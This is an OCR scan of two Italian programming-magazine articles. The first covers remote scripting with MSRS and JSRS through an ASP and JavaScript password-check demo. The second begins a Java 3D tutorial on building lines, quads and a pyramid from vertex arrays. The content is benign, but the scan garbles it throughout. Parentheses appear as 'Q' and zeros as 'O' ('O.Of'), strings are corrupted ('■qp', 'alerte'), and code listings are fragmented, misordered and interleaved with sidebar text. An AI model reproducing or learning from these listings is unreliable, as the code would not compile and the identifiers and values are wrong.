codice che sia com- 
patibile con i due compo- 
nenti proposti, scegliamo 
ASP come linguaggio per 
le pagine lato server e 
JavaScript per quelle 
client. 



<script language="JavaScript" src=".. 

/_ScriptLibrary/RS.HTM"></script> 

<script language="JavaScript"> 

RSEnableRemoteScripting("../_ScriptLibrary"); 

</script> 

La prima linea si occupa di includere il codice neces- 
sario all'utilizzo di MSRS su client, la seconda abilita 
il componente, creando per noi l'applet Java che fun- 
ge da proxy e istanziandola correttamente. Si tenga 



Listato 1 - verify.htm (versione MSRS) 
<html> 



<head> 



<title>ioProgrammo RemoteScripting </title> 



<script language="JavaScript"> 



function VerifyltQ 



{ var szPassword = prompt( 



'Immissione password:'); 



var objRS = RSGetASPObject('engine.asp'); 
var objResult = objRS.VerifyPassword( 
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szPassword); function MethodsQ 



if(objResult.return_value) 



alert( 'Password corretta!') 



else 



alert('Password NON corretta!'); } 



</script> 



</head> 



<body> 



<script language="JavaScript" src=".. 
/_ScriptLibrary/RS.HTM"x/script> 



<script language="JavaScript"> 



RSEnableRemoteScripting("../_ScriptLibrary"); 
</script> 



<a href="JavaScript: Verifylt()"> 
Verifica password </a> 



</body> 



</html> 



IL SERVER 

Occupiamoci ora del codice lato server costruito tra- 
mite MSRS, esplorando nel dettaglio la pagina engi- 
ne.asp; anche in questo caso è necessario abilitare la 
pagina all'utilizzo di MSRS, ma in questo caso è suffi- 
ciente inserire queste due linee di codice air inizio del- 
la pagina: 



{ this.VerifyPassword = Verify Password; } 

Viene dapprima creato Y oggetto Methods (il nome è a 
libera scelta); il costruttore di tale oggetto - la funzio- 
ne MethodsQ - si occupa di definire il riferimento alla 
nostra funzione. Il nuovo metodo VerifyPasswordQ di- 
venta dunque una referenza alla nostra funzione ori- 
ginale VerifyPasswordQ. Il codice che segue mostra co- 
me realizzare la pagina. 

<!--#include file="../_ScriptLibrary/RS.ASP"-> 

<% RSDispatch %> 

<script language="JavaScript" runat="server"> 

var public_description = new MethodsQ; 



function MethodsQ 



{ this.VerifyPassword = Verify Password; } 
function VerifyPassword(szPassword) 



{return (szPassword 



'■qp');> 



</script> 

Il risultato è quello anticipato: verify.htm convalida la 
password immessa dall'utente tramite la funzione Ve- 
rifyPasswordQ di engine.asp, in maniera trasparente e 
senza alcun refresh del browser né altro effetto inde- 
siderato. 



MSRS 

y-s L'idea che sta alla 
<y base di MSRS è re- 
lativamente semplice: 
viene utilizzata l'applet 
Java come ponte (proxy) 
tra la pagina client e la 
pagina ASP del server, 
utilizzando unicamente il 
protocollo http per lo 
scambio dei messaggi. 



<!-#include file="../_ScriptLibrary/RS.ASP"-> 

<% RSDispatch %> 

La prima riga effettua l'inclusione del codice necessa- 
rio al funzionamento di MSRS lato server, la seconda 
si occupa di inizializzare il componente. Anche qui si 
tenga presente che il percorso utilizzato è relativo alla 
propria configurazione. A questo punto è possibile 
definire all'interno di engine.asp la funzione VerifyPas- 
swordQ che si occuperà di convalidare il dato che le 
passeremo: 

function VerifyPassword(szPassword) 

{ return (szPassword == 'iop');} 

Il comportamento della funzione in sé è banale, ma la- 
scio spazio alla fantasia del lettore per immaginare 
operazioni di livello più avanzato, come lettura di da- 
ti da database o operazioni di logging sul registro de- 
gli eventi di Windows NT. Definita la funzione cuore 
del nostro motore di autenticazione, è necessario di- 
chiarare a MSRS la nostra intenzione di rendere 
esportabile - ovvero richiamabile dall'esterno - quan- 
to abbiamo appena creato: è sufficiente definire un 
nuovo oggetto pubblico di nome public _description, i 
cui metodi siano riferimenti alle funzioni che si inten- 
de esportare. A causa della natura di VBScript non è 
conveniente definire questo oggetto con tale linguag- 
gio, di conseguenza vediamo quanto appena esposto 
in JavaScript: 



L'APPROCCIO JSRS 

Sebbene le differenze tra questa versione e quella 
esposta in precedenza siano minime, conviene osser- 
vare nel dettaglio anche questa implementazione, co- 
sì da chiarire completamente la metodologia di svi- 
luppo tramite JSRS. 

Per abilitare JSRS nella pagina client, è sufficiente in- 
serire all'interno del tag <body> quest'unica riga di 
codice: 

<script language="JavaScript" src="jsrsClient.js"> 

</script> 

Questo blocco include nella pagina client il file jsr- 
sClient.js, il motore lato client di JSRS, e ne abilita au- 
tomaticamente le funzionalità nella pagina che lo con- 
tiene: verify.htm. Il percorso di jsrsClient.js è dipenden- 
te da dove JSRS sia stato installato. 
Nell'esempio riportato, ambedue i file di questo com- 
ponente sono presenti nella medesima directory di ve- 
rify.htm e engine.asp. Nel caso in cui tale percorso fos- 
se diverso, si rivelerebbe necessario riportarlo corret- 
tamente nell'attributo sre del tag <script> evidenziato. 
A questo punto è possibile richiamare in qualsiasi 
blocco script della pagina il codice presente in erigi- 
ne. asp. La funzione che permette di effettuare le chia- 
mate dinamiche tramite JSRS è jsrsExecuteQ ed utiliz- 
za nei casi più comuni quattro parametri. 
Vediamone la sintassi: 



var public_description = new MethodsQ; 



jsrsExecute(rsPage, CallBack, Fune, Parms) 



28 ►►► G e n n 



2 



http://www.itportal.it 



TECNICA 



rsPage contiene il nome della pagina lato server 
di cui andremo a richiamare le funzioni. 

CallBack contiene il nome della funzione lato 
client che verrà eseguita una volta che la chiama- 
ta al codice lato server sia stata completata e si sia 
in possesso del valore di ritorno (se presente) di 
questa. Questo valore è opzionale. 



'Verify Password', szPassword); } 



</script> 



</head> 



<body> 



<script language="JavaScript" src="jsrsClient.js"x/script> 
<a href="JavaScript: Verifylt()"> Verifica password</a> 



</body> 



</html> 




SOAP 



• Fune contiene il nome della funzione lato server 
da richiamare. 

• Parms è il parametro o un array di parametri da 
passare alla funzione. Ovviamente questo para- 
metro è opzionale. 

Fatta questa premessa, appare necessario, vista la na- 
tura della nostra funzione, dotare la nostra pagina 
client di una funzione di callback per JSRS, in manie- 
ra tale che l'utente abbia l'effettivo riscontro del risul- 
tato di convalida della password. Tale funzione si li- 
miterà ad effettuare un alert JavaScript mostrando, co- 
me neirimplementazione in MSRS, due scritte a se- 
conda della bontà della password immessa. Vediamo 
dunque il codice per tale funzione, chiamata in questo 
esempio cbVerifyltO: 

function cbVerifylt(bValid) 

{ if(bValid) 

alert('Password corretta!') 

else 

alert('Password NON corretta!'); } 

Ora, sempre nello stesso blocco di codice JavaScript, 
inseriamo l'effettiva chiamata alla funzione remota di 
convalida della password su engine.asp (supposto 
ovviamente che tale funzione sia resa esportabile): 

function VerifyltQ 

{ var szPassword = prompt('Immissione password:'); 
jsrsExecute('engine.asp', cbVerifylt, 'Verify Password', 

szPassword); } 

Modifiche di codice a parte, la pagina client verify htm 
rimane identica a quella sviluppata per MSRS. Ecco- 
ne il listato completo: 

<html> 

<head> 

<title> io Programmo RemoteScripting</title> 

<script language="JavaScript"> 

function cbVerifylt(bValid) 

{ if(bValid) 

alert('Password corretta!') 

else 

alerte Password NON corretta!'); } 

function VerifyltQ 

{ var szPassword = prompt('Immissione password:'); 
jsrsExecute('engine.asp', cbVerifylt, 



IL SERVER 

Implementare engine.asp tramite JSRS è molto sempli- 
ce. Analogamente a MSRS è necessario abilitare la pa- 
gina all'utilizzo di JSRS, inserendo queste due linee di 
codice all'inizio della pagina: 

<!-- #include file="jsrsServer.inc" — > 

<% jsrsDispatch("VerifyPassword") %> 

La prima riga effettua l'inclusione del codice necessa- 
rio al funzionamento di JSRS lato server, la seconda si 
occupa di inizializzare e rendere esportabili le funzio- 
ni dichiarate come parametro a jsrsDispatchO. In que- 
sto caso si dichiara l'intenzione di voler rendere 
esportabile la funzione VerifyPasswordO, a patto ov- 
viamente che questa sia stata creata nella pagina (si 
veda il prossimo paragrafo). La funzione VerifyPas- 
swordO definita in engine.asp è identica a quella defini- 
ta per l'esempio di server in MSRS, che per comodità 
riporto: 

function Verify Password(szPassword) 

{ return (szPassword == 'iop'); } 

Nel listato che segue è possibile vedere il codice com- 
pleto per la pagina appena creata. 

<!-- #include file="jsrsServer.inc" — > 

<% jsrsDispatch("VerifyPassword") %> 

<script language="JavaScript" runat="server"> 

function VerifyPassword(szPassword) 

{ return (szPassword == 'iop'); } 

</script> 

Anche in questo caso il risultato è quello sperato. JSRS 
effettua egregiamente il proprio lavoro, chiamando la 
funzione di convalida remota in maniera trasparente 
e senza refresh del browser. Le caratteristiche funzio- 
nali, la semplicità di utilizzo e la compatibilità a livel- 
lo browser di ambedue i componenti rendono questo 
tipo di soluzioni estremamente efficienti quando lo 
sviluppo di un'applicazione web deve tendere alla di- 
namicità di questa. In particolar modo, laddove tec- 
nologie più recenti (.NET per esempio) non siano sup- 
portate o non vi sia l'intenzione di adottarle, MSRS e 
JSRS offrono più che una semplice soluzione ai pro- 
blemi di interattività finora esposti. Ciò che contrad- 
distingue le due soluzioni, però, è la tecnologia utiliz- 
zata nell'implementazioni di queste; mentre JSRS uti- 
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j% Con la tecnologia 
^? SmartNavigation, 
integrata nel framework 
.net, è possibile include- 
re tutte le funzionalità di 
RemoteScripting in ma- 
niera del tutto automati- 
ca e trasparente allo svi- 
luppatore. 
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MSRS, giunto alla 

versione l.Ob, viene 

installato di default con 

Visual InterDev ma è 

comunque prelevabile 

gratuitamente da MSDN 

all'indirizzo 

http ://msdn . microsoft, comi 

downloads/sample. asp ?url= 

/MSDN-FILES/027/001/734 

/msdncompositedoc 

. xml&frame = true. 



lizza esclusivamente JavaScript nel proprio modulo 
riservato alle pagine client, MSRS utilizza anche 
un' applet Java e questo può dare dei problemi. La 
funzionalità chiamata LiveConnect che permette al co- 
dice JavaScript di comunicare con tale applet (e in ge- 
nerale con gli oggetti esterni inclusi nella pagina), non 
è purtroppo presente in tutti i browser. Ciò vale anche 
per la JVM, richiesta per far funzionare l'applet stes- 
sa. I tempi di latenza in cui l'applet viene caricata, 
causano inoltre dei ritardi nella disponibilità del siste- 
ma ad effettuare operazione di RemoteScripting: tal- 
volta per ovviare a questo inconveniente è addirittu- 
ra necessario costruire un meccanismo di polling lato 
client per testare la disponibilità dell' applet. Un altro 
punto a sfavore di MSRS è inoltre il fatto che tale com- 
ponente effettua il passaggio di parametri alle funzio- 
ni remote tramite GET e non tramite POST, limitando 
le dimensioni dei parametri passati. La versione ser- 
ver di MSRS, inoltre, è disponibile solo per ASR JSRS 
d'altro canto risolve tutti i problemi di MSRS. Non 
utilizza applet Java ma puro codice JavaScript e inol- 
tre sfonda la compatibilità di browser offerta da 
MSRS, offrendone un vasto elenco. È veloce, non ci 
sono tempi di attesa elevati perché non vi è alcuna 
JVM da caricare. Inoltre non è richiesto il supporto di 
LiveConnect. L'invio dei parametri alle funzioni remo- 
te è effettuato di preferenza tramite POST nei browser 
in cui è supportato, tramite GET in quelli in cui non lo 
è. La versione server di questo componente, inoltre, è 
disponibile in più ambienti server e non solo su ASP. 
Sebbene la scelta di quale componente utilizzare rica- 
da unicamente sullo sviluppatore, si tenga in conside- 
razione che MSRS è largamente utilizzato in quei con- 
testi intranet dove il browser ed il sistema utilizzato 
dai client è ben noto e che il suo studio potrà risultare 
utile in ambiti di questo tipo, magari sviluppati non 
di recente. 



INSTALLAZIONE DI MSRS 

MSRS, giunto alla versione l.Ob, viene installato di 
default con Visual InterDev ma è comunque preleva- 
bile gratuitamente da MSDN all'indirizzo http://msdn 
.microsoft. comi 'downloads/sample. aspi url=/MSDN-FI- 
LES/027/001/734/msdncompositedoc.xml&frame=true. Se 
si manda in esecuzione il programma di setup, questo 
richiede il percorso dove si ha intenzione di installare 
il componente, proponendo c:\inetpub\wwwroot\_ 
ScriptLibrary come valore predefinito. Quando MSRS 
verrà utilizzato, cercherà i file di cui necessita per po- 
ter funzionare nella cartella _ScriptLibrary del server 
web US: se si utilizza un'altra cartella per contenere i 
dati del web server, è necessario inserirne il percorso 
in questo step di installazione. Se ad esempio US è sta- 
to configurato per utilizzare la directory z:\wwwroot 
per far fronte alle richieste http, il percorso di installa- 
zione di MSRS andrà impostato come z:\www- 
root\_ScriptLibrary. Una volta terminata l'installazio- 
ne, sarà possibile osservare questi elementi nella di- 



rectory di installazione prescelta: 

• /docs - Contiene la documentazione su MSRS, 
sulla sua installazione, sull' utilizzo lato server e 
lato client, sulla gestione degli errori, ecc. . . 

• /samples - Contiene una serie di materiale di 
esempio, abbastanza utile per chi è alle prime ar- 
mi con questa tecnologia 

• rs.htm - Contiene le funzioni ed il sistema di ge- 
stione che implementano MSRS su pagine client. 
Implementato interamente in JavaScript, espone 
principalmente due metodi pubblici, chiamati 
RSEnableRemoteScriptingO e RSGetAspObjectQ. 

• rs.asp - Contiene le funzioni ed il sistema di ge- 
stione che implementano MSRS su pagine server. 
Anch'esso implementato interamente in Java- 
Script, contiene al suo interno il codice che effet- 
tua il dispatch verso le funzioni che si intendono 
richiamare nella pagina ASP e si occupa di ritor- 
nare al client i dati. 

• rsproxy.class - Questa applet Java viene inserita 
automaticamente all'interno della pagina client in 
cui si include rs.htm. Non effettua alcuna intera- 
zione con l'utente (è invisibile) e si occupa princi- 
palmente di gestire la comunicazione tra lo script 
client e quello server. 

REMOTESCRIPTING 
E ASP.NET 

Per chi progetta applicazioni web sfruttando la piat- 
taforma .NET, il problema legato all'interattività è de- 
finitivamente scomparso. Con la tecnologia SmartNa- 
vigation, integrata nel framework.NET è possibile in- 
cludere tutte le funzionalità di RemoteScripting in 
maniera del tutto automatica e trasparente allo svi- 
luppatore. Questa semplice riga a capo di una pagina 
ASP.NET abilita tale pagina a funzionare tramite 
SmartNavigation: 

<%@Page SmartNavigation="True" %> 

L'engine di ASP.NET include automaticamente il co- 
dice lato client necessario per implementare chiamate 
al codice su server web in maniera trasparente e sen- 
za flickering del browser. Molto curiosa è la somi- 
glianza notevole a JSRS della tecnica con cui Smart- 
Navigation viene implementato su client: viene creato 
un IFRAME trasparente in cui vengono caricati i dati 
tramite un gruppo di funzioni JavaScript. Da sottoli- 
neare è il fatto che se SmartNavigation è stato abilitato 
su di una pagina ASP.NET e il browser che ne effettua 
la richiesta non supporta tale tecnologia, il framework 
genera automaticamente codice adatto al browser. 

Efran Cobisi 
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Giunti oramai al terzo 

appuntamento con la grafica 

3D in Java, siamo pronti per 

investigare sul più 

affascinante e complesso dei 

temi trattati sin ora, l'essenza 

stessa della tridimensionalità: 

la modellazione di figure solide 

mediante codice. 



Ebbene si, per quanto illuminazioni e textures 
contribuiscano a rendere affascinante una qual- 
siasi scena tridimensionale, per quanto le ani- 
mazioni possano renderla credibile, nulla di tutto ciò 
sarebbe possibile se non avessimo degli oggetti visibi- 
li da poter utilizzare per generare delle forme che raf- 
figurino ciò che vogliamo rappresentare con la nostra 
composizione. Andiamo quindi subito ad analizzare 
le varie possibilità che Java 3D offre agli apprendisti 
scultori. I metodi di generazione di solidi tridimensio- 
nali da utilizzare per comporre scene grafiche sono tre: 

• Mediante le classi Box, Corte, Cylinder e Spere. 

• Mediante la creazione di vertici per punti, linee e 
poligoni bidimensionali. 

• Mediante i caricatori di geometrie. 

Il primo metodo, già utilizzato negli articoli prece- 
denti, fa uso delle classi presenti nel package com.sun 
.jòd.utils. geometri) per costruire, in maniera semplice e 
rapida, dei solidi di forma comune senza doversi per- 
dere nella programmazione degli stessi. Abbiamo già 
avuto modo di vedere come sia semplice generare fi- 
gure solide basandosi su queste classi generosamente 
forniteci dalla Sun ma, per utenti smaliziati, il solo uti- 
lizzo di figure geometriche predefinite è insufficiente, 
e dopo i primi esperimenti con cubi e piramidi, si ren- 
de necessario compiere il passo successivo, che consi- 
ste nel generare manualmente i solidi che vogliamo 
rappresentare mediante la dichiarazione di tutti i ver- 
tici che compongono la figura. Se ad esempio abbia- 
mo la necessità di disegnare un punto nello spazio ab- 
biamo bisogno di un vertice, per tracciare una linea ne 
servono due, mentre per generare un poligono neces- 
sitiamo di tre o più vertici. 
Esistono due metodi per la creazione di solidi perso- 



nalizzati dichiarati vertice per vertice, essi sono abba- 
stanza diversi tra loro e danno vita a figure con carat- 
teristiche differenti. Il primo fa uso della classe Sha- 
pe3D del package javax.media.j3d ed è ad esempio il 
metodo con cui è stata realizzata la classe ColorCube 
utilizzata nel primo articolo, mentre il secondo si ap- 
poggia alla classe Primitive del package com.sun.j3d 
.utils. geometri) ed è il sistema utilizzato per generare le 
classi Cylinder e Sphere con le quali abbiamo speri- 
mentato l'illuminazione tridimensionale lo scorso 
mese. Generare solidi personalizzati basandosi su 
questi due metodi porta sicuramente a risultati inte- 
ressanti, ma può alla lunga risultare tedioso il dover 
impostare manualmente le coordinate di ogni singolo 
punto nello spazio, senza tralasciare poi che per ogni 
vertice dovrebbero essere fornite anche informazioni 
sul colore, super fici, textures e trasparenza. Appare quin- 
di evidente che una simile scelta può essere effettuata 
solo in caso di solidi con pochi vertici e quindi con 
geometrie piuttosto semplici. Nel caso di forme con 
un elevato grado di complessità, si rende necessario 
ricorrere ad un caricatore di geometrie, decisamente 
più comodo ed immediato. 



COSA SERVE CONOSCERE 

Come al solito, prima di gettarci nella scrittura di co- 
dice, è necessaria una breve introduzione alle classi e 
alla logica di realizzazione di contenuti tridimensio- 
nali. Ho preannunciato che in questo articolo trattere- 
mo esclusivamente la realizzazione di figure solide 
che usufruiscono della classe Shape3D, occorre quindi 
capire come generare queste geometrie ed anche qua- 
li sono le caratteristiche che le differenziano da quelle 
ottenute con l'altro possibile metodo. Cominciamo 
con l'osservare più da vicino la classe che abbiamo 
scelto come base per il nostro solido. I metodi costrut- 
tori della classe Shape3D sono tre: uno senza parame- 
tri, uno che accetta un oggetto di tipo Geometry ed un 
altro che oltre all'oggetto Geometry appena citato ri- 
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Le API 
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re necessario per utiliz- 
zare gli esempi riportati 
collegandovi al sito: 

http://java.sun.com 



Fig. 1: Una piramide. 
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Sottoclassi di 
GeometryArray 

r&Si dividono in due 
—J categorie: quelle che 
condividono i vertici e 
quelle che non li condivi- 
dono. Le prime prendono 
come punto di partenza 
l'ultimo o gli ultimi due 
vertici dichiarati per 
tracciare una linea o una 
faccia che si congiunga 
con il vertice successivo, 
mentre per le seconde 
occorre dichiarare ogni 
volta ogni punto che 
compone la nuova linea 
o faccia. 



chiede anche un oggetto Appearance. Inutile dire che il 
costruttore senza parametri è insufficiente per gene- 
rare qualcosa, e va utilizzato soltanto nei casi in cui si 
debba impostare successivamente la geometria (Geo- 
metri/) e l'estetica (Appearance) dell'oggetto visivo che 
si intende costruire. Il secondo costruttore è invece già 
in grado di compiere il lavoro che ci si aspetta che fac- 
cia, esso infatti riesce a costruire un'oggetto tridimen- 
sionale da poter visualizzare nel nostro universo. Il 
parametro richiesto, l'oggetto Geometri), deve però 
contenere tutti i dati riguardanti l'oggetto stesso, in 
modo che quest'ultimo possa venire renderizzato cor- 
rettamente. La nostra attenzione deve quindi spostar- 
si su quest'ultima classe, Geometri), che è quella che 
maggiormente adopereremo per dichiarare i vertici 
della nostra creazione. Ma prima di ciò, analizziamo 
il terzo metodo costruttore, che oltre all'oggetto Geo- 
metri) richiede anche un parametro Appearance. Que- 
st'ultima classe, diversamente dalla Geometri), che 
contiene i dati di ogni singolo punto della figura che 
intendiamo generare, si occupa di come essa debba 
apparire all'utente piuttosto che della sua creazione, e 
quindi di tutte quelle informazioni che rientrano nel- 
la visualizzazione della figura stessa. A fine articolo ci 
addentreremo maggiormente nella descrizione della 
classe Appearance. Ora occupiamoci della sua collega 
Geometri), che ci è necessaria per iniziare il nostro la- 
voro. Iniziamo con il dire che la classe, essendo astrat- 
ta, non è direttamente utilizzabile e delega quindi il 
lavoro alle sue sottoclassi. Quella che ci interessa par- 
ticolarmente è GeometryArray che, come il nome sug- 
gerisce, altro non è che un array utilizzabile per con- 
tenere i dati di oggetti tridimensionali. Per poter crea- 
re un oggetto di tipo GeometryArray si rende necessa- 
rio passare almeno due parametri al costruttore: il nu- 
mero dei vertici che comporranno il nostro solido, ed 
il formato delle loro informazioni. Per quanto riguar- 
da il primo parametro, non è che il numero dei verti- 
ci che intendiamo utilizzare per comporre la nostra fi- 
gura e che siamo obbligati a conoscere a priori, men- 
tre è meno evidente a cosa serva il secondo parame- 
tro. Dichiarare il formato delle informazioni che in- 
tendiamo utilizzare si rende necessario in quanto per 
ogni vertice della nostra figura possiamo fornire di- 
versi tipi di dato. Nella classe GeometryArray sono 
presenti diverse costanti che possiamo utilizzare per 
dichiarare i dati che intendiamo fornire per ogni sin- 
golo vertice: 




Fig. 2: Un riassunto delle tre dimensioni, 



• COORDINATES, sono le uniche obbligatorie 
poiché descrivono l'unico dato veramente fonda- 
mentale, vale a dire le coordinate spaziali del ver- 
tice. 

• NORMALS, specifica che questo vertice include 
informazioni sulle superfici normali generate me- 
diante il suo utilizzo. 

• COLOR_3, specifica che questo vertice contiene 
informazioni sul suo colore ma non sulla traspa- 
renza. 

• COLOR_4, specifica che oltre le informazioni sul 
colore sono presenti anche informazioni sulla tra- 
sparenza. 

• TEXTURE_COORDINATE_2, specifica che que- 
sto vertice contiene informazioni riguardo la 
mappatura di textures bidimensionali. 

• TEXTURE_COORDINATE_3, specifica che que- 
sto vertice contiene informazioni riguardo la 
mappatura di textures tridimensionali. 

È sufficiente includere come secondo parametro le co- 
stanti sopra indicate per ottenere una classe Geome- 
tryArray che si occupi di gestire l'esatto numero di 
informazioni necessarie. Alcuni degli esempi riporta- 
ti in questo articolo forniscono, per ogni vertice, anche 
delle informazioni sul colore per poter osservare co- 
me queste vengano utilizzate in fase di creazione del- 
l'oggetto. Occorre a questo punto dire che effettiva- 
mente noi non utilizzeremo direttamente neanche la 
classe GeometryArray, facendo invece uso di alcune 
delle sue sottoclassi, che svolgono compiti più speci- 
fici e che meglio si prestano agli esempi che dobbiamo 
realizzare. 

Le sottoclassi di GeometryArray sono parecchie, ognu- 
na adatta ad un particolare scopo, e sarebbe lungo ed 
inutile elencarle tutte, potete però trovare una brevi 
descrizione nei box laterali sul loro funzionamento ed 
utilizzo di massima. Prima di gettarci a testa bassa 
sulla nostra tastiera, spiegare la particolarità dei soli- 
di generati utilizzando la classe Shape3D. Innanzitut- 
to, come è stato possibile osservare nel primo articolo, 
(nel quale abbiamo utilizzato ColorCube, derivata ap- 
punto da Shape3D), le figure ottenute utilizzando que- 
sto metodo non necessitano di illuminazione, e non 
sono quindi influenzate da nessun tipo di sorgente di 
luce. Occorre sapere che questo tipo di solidi, poten- 
do possedere le informazioni sul colore dei propri 
vertici, molte volte ignorano le informazioni presenti 
nell'oggetto Appearance utilizzato nella costruzione di 
uno Shape3D, utilizzando invece il colore nativo di 
ogni vertice. Una volta appreso ciò si capirà il perché 
del comportamento bizzarro delle figure solide che 
adesso andremo a realizzare. Ora è davvero tutto, si 
passa alla pratica. 
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TECNICA 



REALIZZARE OGGETTI 3D 

Come sempre, per poter generare una scena tridi- 
mensionale abbiamo bisogno di un'applicazione con- 
tenitore che includa la scena grafica che vogliamo rea- 
lizzare. Questa applicazione, vista in tutti gli articoli 
precedenti, altro non fa che costruire un'interfaccia 
utente per visualizzare il nostro lavoro. Andiamo 
quindi a scrivere la nostra interfaccia: 

import java.awt.*; 

import javax.swing.*; 

import javax.vecmath.*; 



import javax.media.j3d.*; 



import com.sun.j3d.utils. universe.*; 



import com.sun.j3d.utils.geometry.*; 



class Modellazione extends JFrame{ 



public Modellazione(){ 



super("Modellazione"); 



setSize(800,600); 



setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
JPanel nuovoPannello = new JPanelQ; 



nuovoPannello.setLayout(new BorderLayoutQ); 
// Qui inseriremo il codice per la creazione 

dell'ambiente 3D 



Canvas3D tela = new Canvas3D(null); 



nuovoPannello.add("Center",tela); 



SimpleUniverse universo=new SimpleUniverse(tela); 
universo. getViewingPlatform() 
■setNominalViewingTransformQ; 



// Iniziamo con il creare un Gruppo iniziale 

BranchGroup gruppo = new BranchGroupQ; 

// Inseriamo il codice per oggetti 3D in questo punto!!! 
gruppo.compileQ; 



universo.addBranchGraph(gruppo); 



// Fine dell'ambiente 3D 



setContentPane(nuovoPannello); 



showQ; } 



public static void main(String[] args){ 



new ModellazioneQ; } 



Il codice riportato crea una finestra utilizzando le li- 
brerie Swing di Java, ne setta alcuni parametri, e vi in- 
serisce un componente, Canvas3D, in grado di visua- 
lizzare contenuti tridimensionali. In quest'ultimo 
componente è inserito un oggetto di tipo SimpleUni- 
verse che è effettivamente lo spazio tridimensionale 
nel quale andremo a lavorare. Creata una base per i 
nostri contenuti tridimensionali, andiamo ora a rea- 
lizzare qualcosa di interessante, tracciando una linea 
che possa essere visualizzata nello spazio. Per fare ciò, 
abbiamo bisogno di poche linee di codice da inserire 
appena dopo il commento apposito riportato nel li- 
stato precedente. Eccole: 



// Linea orizzontale 



LineArray linea = new LineArray(2,LineArray.COORDINATES); 
linea.setCoordinate(Q,new Point3f(-0.5f ,-0.4f , O.Of)); 
linea. setCoordinate(l,new Point3f( 0.5f ,-0.4f , O.Of)); 



gruppo. addChild(new Shape3D(linea)); 

La classe LineArray, presente nel package javax.me- 
dia.j3d, è una delle preannunciate sottoclassi di Geo- 
metri/ Array, utilizzabile nel nostro caso per creare una 
linea orizzontale. La prima riga di codice, dopo il 
commento, genera un oggetto LineArray impostando 
a due il numero di vertici da inserire, e dichiarando 
che per ognuno dei due vertici verranno rese note 
esclusivamente le informazioni riguardanti le loro 
coordinate. Impostare un numero di vertici maggiore 
di 2 risulta utile quando le linee da tracciare sono più 
di una, nel qual caso ogni linea avrà bisogno di due 
vertici separati per poter essere tracciata. Questo tipo 
di classe traccia linee spezzate. Se si vogliono dise- 
gnare linee continue si utilizzi invece la classe Line- 
Strip Array, che parte dall'ultimo vertice utilizzato per 
realizzare una nuova linea verso il successivo punto 
indicato. Una volta realizzato l'oggetto LineArray, il 
passo successivo consiste nelT impostare i dati dei due 
vertici che abbiamo dichiarato voler utilizzare tramite 
il metodo setCoordinate( . . .). Il primo parametro richie- 
sto altri non è che il numero del vertice per il quale 
dobbiamo inserire le coordinate, mentre il secondo è 
una struttura che si occupa di rappresentare un pun- 
to spaziale utilizzando tre dati di tipo float che rap- 
presentano le coordinate nell'ordine XY Z. La classe 
Point3f può essere trovata nel package javax.vecmath. 
Una volta realizzata la geometria della forma che 
dobbiamo rappresentare, occorre utilizzarla per crea- 
re un oggetto Shape3D che possa essere correttamente 
visualizzato nella scena e, successivamente, aggiun- 
gerlo alla scena stessa. Questo è ciò che fa l'ultima li- 
nea di codice, che si occupa di creare una figura ren- 
derizzabile e di inserirla nello spazio 3D. Se provate a 
compilare e lanciare il programma, noterete la linea 
nella parte inferiore dello schermo, bianca, in quanto 
nessuna informazione sul colore è stata data, e sarà 
perfettamente visibile, come preannunciato, nono- 
stante nessuna fonte di luce sia stata impostata. Dopo 
questo semplice esempio concentriamoci ora per pro- 
durre qualcosa di più impegnativo. Il passo successi- 
vo alla creazione di una retta nello spazio consiste nel- 
la la realizzazione di una figura bidimensionale, una 
geometria piana. Esistono diverse classi derivate da 
Geometry Array utilizzabili per generare l'esempio che 
ci apprestiamo a realizzare ma, nel caso specifico, use- 
remo quella incaricata di gestire forme a quattro ver- 
tici cioè quadrati rombi trapezi e rettangoli. Per mo- 
strare come poter sfruttare le capacità dei vertici di in- 
cludere informazioni ulteriori alle le sole coordinate, 
creeremo questa figura utilizzando delle colorazioni 
evidenti e miscelate. Per realizzare tutto il lavoro oc- 
corre inserire il codice seguente esattamente sotto a 
quello che si occupava di tracciare la linea (in codice 
completo lo trovate sul CD): 

// Quadrato colorato 

QuadArray quadrato = new QuadArray( 
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Animazione 
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Nel listato è stata 
riportata anche una 
breve animazione. Seb- 
bene l'argomento non 
sia stato trattato, una 
breve spiegazione può 
essere trovata nel primo 
degli articoli di questa 
serie sul numero di No- 
vembre 2002. 



4,LineArray.COORDINATES|LineArray.COLOR_3); 

quadrato.setCoordinate(Q,new Point3f(-Q.2f , 0.2f , O.Of)); 
gruppo. addChild(new Shape3D(quadrato)); 

Come potete osservare dal listato, la classe QuadAr- 
ray, derivata di Geometri/ Array, compie il proprio la- 
voro di gestione di forme a quattro vertici in maniera 
simile a LineArray, richiedendo cioè due parametri 
per poter essere correttamente inizializzata. Ma men- 
tre prima il numero di vertici che dovevamo fornire 
era limitato a due, ora abbiamo bisogno di specificar- 
ne almeno quattro data la geometria che intendiamo 
realizzare. Volendo dotare la nostra figura di colori 
personalizzati, dobbiamo passare come secondo pa- 
rametro due diversi flag: il primo, già visto, che si oc- 
cupa di dichiarare che per ogni vertice verranno for- 
nite delle informazioni riguardo le coordinate, ed un 
secondo, non utilizzato sin ora, che indica che vi sa- 
ranno dati aggiuntivi per ogni vertice riguardo il co- 
lore da utilizzare per rappresentare lo stesso. Una vol- 
ta fatto ciò, le successive righe di codice si occupano 
di impostare, per ogni punto dichiarato, le coordinate 
ed il colore, generando di fatto la geometria che an- 
dremo ad utilizzare per creare la forma 3D. L'ultima 
riga di codice si occupa infatti esattamente di questo, 
generando il solido tridimensionale ed aggiungendo- 
lo alla nostra scena. Proviamo ora a compilare: se tut- 
to si svolge correttamente dovreste poter vedere, so- 
pra la linea retta tracciata in precedenza, il nuovo qua- 
drato, con i vertici ognuno di colore differente, che fa 
bella mostra di se nella nostra scena grafica. Non è 
stato poi così difficile generarlo no? Ma, non accon- 
tentandoci ancora, andiamo a realizzare finalmente 
una vera figura 3D, un qualcosa insomma che possa 
essere ruotato e manipolato come una qualsiasi figu- 
ra nativa delle API di Java. Ciò che creeremo ora, sarà 
una piramide con caratteristiche simili a quelle della 
classe ColorCube vista nella prima lezione. Arrivati a 
questo punto, dovreste essere in grado di capire il li- 
stato seguente, che differisce molto poco per contenu- 
ti dai due precedenti. 

// Piramide colorata 

TriangleArray piramide = new TriangleArray( 

9, LineArray. COORDINATESI LineArray. COLOR_3); 

// Coordinate e colori della prima faccia 

piramide.setCoordinate(Q,new Point3f( O.Of, 0.2f , O.Of)); 
gruppo. addChild(new Shape3D(piramide)); 

Molto brevemente, il codice appena riportato altro 
non fa che utilizzare la classe TriangleArray per gene- 
